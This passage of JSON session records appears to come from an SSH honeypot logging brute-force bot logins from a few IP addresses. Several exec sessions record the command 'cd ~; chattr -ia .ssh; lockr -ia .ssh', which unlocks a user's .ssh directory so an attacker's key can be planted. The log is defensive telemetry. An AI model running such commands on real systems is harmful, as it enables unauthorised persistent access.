  "name": "supple-wooded-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60940,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:01:48.119118+00:00",
  "ended_at": "2026-08-27T08:01:50.021540+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b9f990d9-8777-4604-93c5-cc84c45f4672",
  "name": "genial-fearless-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60232,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:01:46.503954+00:00",
  "ended_at": "2026-08-27T08:01:47.451486+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0786c559-9e56-498d-ae22-98af685d2aac",
  "name": "brave-fabled-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 39980,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:00:00.115200+00:00",
  "ended_at": "2026-08-27T08:00:01.100021+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "6c23bdd9-1d9e-406b-affe-ea1ebae2b99d",
  "name": "crisp-curious-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41364,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:59:43.369441+00:00",
  "ended_at": "2026-08-27T07:59:44.942026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4119a769-b876-4d1d-8f3e-cd385cf2d979",
  "name": "calm-twilight-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 40852,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:59:41.757310+00:00",
  "ended_at": "2026-08-27T07:59:42.700213+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e394d88c-e36b-4359-9d13-404e2bd9bf59",
  "name": "obsidian-seaward-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51620,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:59:13.322137+00:00",
  "ended_at": "2026-08-27T07:59:14.968689+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44d52360-b629-4e36-ab77-9c65f0ede2bf",
  "name": "stoic-nameless-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 48678,
  "username": "hduser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:57:46.188063+00:00",
  "ended_at": "2026-08-27T07:57:47.108583+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "4e6585a3-a39a-4bbc-ba94-bb03dfbb636f",
  "name": "ginger-indigo-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49874,
  "username": "hduser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:57:31.550219+00:00",
  "ended_at": "2026-08-27T07:57:32.359294+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e59646f-ed9a-4c49-90f4-927ad58ef746",
  "name": "quiet-thorny-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49340,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:57:29.845469+00:00",
  "ended_at": "2026-08-27T07:57:30.818549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d495506e-6814-4117-abf8-23cde34ce18c",
  "name": "rambling-keen-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57380,
  "username": "joy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:55:48.231939+00:00",
  "ended_at": "2026-08-27T07:55:50.258474+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "62246734-2a08-4de8-b99b-0b6505572436",
  "name": "woven-subtle-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 59282,
  "username": "joy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:55:32.244624+00:00",
  "ended_at": "2026-08-27T07:55:34.065065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e68cba6-9cf1-4777-9b83-25eadcb947d3",
  "name": "rustic-alpine-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 58156,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:55:29.581949+00:00",
  "ended_at": "2026-08-27T07:55:31.545512+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a52258ef-1abf-4146-ac32-2ac0ccdddfff",
  "name": "twilight-keen-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 37848,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:53:45.879113+00:00",
  "ended_at": "2026-08-27T07:53:47.990566+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "f456f880-c048-4c4f-b99b-64268d8dd390",
  "name": "regal-umber-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39346,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:53:30.434518+00:00",
  "ended_at": "2026-08-27T07:53:31.936238+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa2eaf5b-a552-47b6-be7c-8f8bf730fd5f",
  "name": "balmy-nameless-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 38624,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:53:28.320254+00:00",
  "ended_at": "2026-08-27T07:53:29.768653+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "526ccc32-3278-43c2-8f81-18ffc9142ec7",
  "name": "watchful-subtle-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:51:40.258908+00:00",
  "ended_at": "2026-08-27T07:51:42.100928+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "94420638-9591-4a54-8dd9-19e476277180",
  "name": "vernal-dusky-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:51:24.804190+00:00",
  "ended_at": "2026-08-27T07:51:25.789999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bbb85eb-0fd1-4843-802b-e4cdfb0da8b4",
  "name": "meadow-hushed-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47150,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:51:22.895363+00:00",
  "ended_at": "2026-08-27T07:51:24.160005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1b94865-7f0a-4723-a31c-97a41e6bf634",
  "name": "prairie-bitter-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55244,
  "username": "fecjl1yg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:49:36.271185+00:00",
  "ended_at": "2026-08-27T07:49:37.460032+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2283
 },
 {
  "id": "27e441e5-1b0d-4fb5-a123-33a43a559169",
  "name": "leafy-restless-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56740,
  "username": "fecjl1yg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:49:21.893359+00:00",
  "ended_at": "2026-08-27T07:49:22.555054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dead33b5-4748-456c-9c5d-886607da0d0c",
  "name": "spirited-daring-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 55782,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:49:19.827500+00:00",
  "ended_at": "2026-08-27T07:49:21.247418+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe1dcfdf-bc8f-4ee3-89e4-bf34ef8e35ff",
  "name": "wooded-crisp-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 35710,
  "username": "ali",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:47:25.569658+00:00",
  "ended_at": "2026-08-27T07:47:27.048008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "c8db3666-2587-4b41-ab0d-a1b14125d729",
  "name": "stoic-mellow-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37282,
  "username": "ali",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:47:09.579827+00:00",
  "ended_at": "2026-08-27T07:47:10.626538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "014c058b-67ea-44ec-b8d7-3d7dd5b940e6",
  "name": "brave-rambling-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 36424,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:47:07.072840+00:00",
  "ended_at": "2026-08-27T07:47:08.881188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "370ee545-486b-492e-b59e-9b1bfd9f03f1",
  "name": "salty-fickle-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 44410,
  "username": "iso",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:45:09.960697+00:00",
  "ended_at": "2026-08-27T07:45:12.211443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "eaba9a6b-14a6-4586-bf0a-08cc004e39ed",
  "name": "sullen-proud-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45994,
  "username": "iso",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:44:54.038578+00:00",
  "ended_at": "2026-08-27T07:44:55.474564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8196a0c-5dbd-4ffc-984f-03b5f0fac470",
  "name": "gallant-earnest-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 44930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:44:51.545702+00:00",
  "ended_at": "2026-08-27T07:44:53.376884+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "877a14a2-757c-4dd2-b1ae-ceb3a9f27876",
  "name": "sterling-smooth-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 53106,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:43:02.733485+00:00",
  "ended_at": "2026-08-27T07:43:04.546230+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "0683ef0c-2c1b-49f0-b245-8ba01bd0860f",
  "name": "feral-candid-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54276,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:42:46.769348+00:00",
  "ended_at": "2026-08-27T07:42:47.576000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4220af96-42ea-4059-a1d1-03618fa02dfa",
  "name": "hidden-dewy-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 53778,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:42:45.275057+00:00",
  "ended_at": "2026-08-27T07:42:46.063521+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73424e1c-eca9-420a-a275-fb117c641912",
  "name": "coastal-steady-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33578,
  "username": "gabriel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:40:59.579350+00:00",
  "ended_at": "2026-08-27T07:41:01.875128+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "ee2d1e01-cd66-4f54-9553-09e9441bd71f",
  "name": "kindly-salty-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 35148,
  "username": "gabriel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:40:45.353435+00:00",
  "ended_at": "2026-08-27T07:40:46.630007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e3adcb0-7570-4f02-8309-1f4bcca56ed1",
  "name": "wiry-coral-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34240,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:40:43.063880+00:00",
  "ended_at": "2026-08-27T07:40:44.706485+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4e28624-a981-47ec-9d4a-ab542395949f",
  "name": "windswept-grumpy-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 57617,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:39:52.927745+00:00",
  "ended_at": "2026-08-27T07:40:07.988610+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe59c694-2267-4799-997e-6ec4815988c2",
  "name": "candid-hearty-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42276,
  "username": "ookla",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:38:56.662436+00:00",
  "ended_at": "2026-08-27T07:38:57.979912+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "608933b6-2bd5-48f3-83eb-7e0fb8c2ac93",
  "name": "stoic-buoyant-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43592,
  "username": "ookla",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:38:38.654374+00:00",
  "ended_at": "2026-08-27T07:38:40.402009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "731aa02c-1f60-4ddf-b32a-e81907a68c73",
  "name": "honest-gleaming-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 42952,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:38:36.973724+00:00",
  "ended_at": "2026-08-27T07:38:38.009999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "604f475b-98ce-4588-a71b-09b89ef05a52",
  "name": "zealous-clever-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 50982,
  "username": "mc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:36:54.895137+00:00",
  "ended_at": "2026-08-27T07:36:56.236864+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "2fee04fc-b5c3-4172-ae8c-c1771333cb7d",
  "name": "prickly-blunt-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 52294,
  "username": "mc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:36:39.037123+00:00",
  "ended_at": "2026-08-27T07:36:40.345841+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "722c4aed-183b-4cb8-896a-d57820aa8f19",
  "name": "brave-serene-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 51710,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:36:37.267594+00:00",
  "ended_at": "2026-08-27T07:36:38.350728+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "adea8a27-3880-44a8-8881-07ebd64b8168",
  "name": "solemn-upland-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 59684,
  "username": "ugo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:34:54.128378+00:00",
  "ended_at": "2026-08-27T07:34:55.667393+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "69a7bf5d-54b3-447e-b145-f33b11ca83c5",
  "name": "golden-spirited-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60826,
  "username": "ugo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:34:37.339676+00:00",
  "ended_at": "2026-08-27T07:34:38.894273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "790c2672-09c6-4733-ae67-c79d9dcadc5b",
  "name": "woven-upland-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:34:35.592403+00:00",
  "ended_at": "2026-08-27T07:34:36.695835+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00ca3838-07e4-43f2-97b7-a588c7bf3f10",
  "name": "gallant-golden-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 40150,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:32:38.561558+00:00",
  "ended_at": "2026-08-27T07:32:40.464658+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "ce113b37-2b33-42aa-ac86-b7d491967955",
  "name": "reedy-foggy-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41568,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:32:24.643961+00:00",
  "ended_at": "2026-08-27T07:32:25.322854+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb0d2c49-77f9-43d7-abdf-e0c0eee1c6e7",
  "name": "lofty-vernal-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 40596,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:32:22.305896+00:00",
  "ended_at": "2026-08-27T07:32:23.996692+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8346557a-4acb-4f17-a70b-40174eebf5e3",
  "name": "drifting-freckled-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 18328,
  "username": "saray",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:31:19.453741+00:00",
  "ended_at": "2026-08-27T07:31:20.017148+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94ff5a48-3683-4428-9c98-5452bc5b7406",
  "name": "valiant-plush-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 48844,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:30:31.282669+00:00",
  "ended_at": "2026-08-27T07:30:32.695110+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d6bc4c42-63c3-415a-9ec6-bfe5b20cf896",
  "name": "zealous-snowy-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 50632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:30:14.594140+00:00",
  "ended_at": "2026-08-27T07:30:15.601111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8794d87-7821-4510-a883-df02e6d08046",
  "name": "loyal-fringed-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49622,
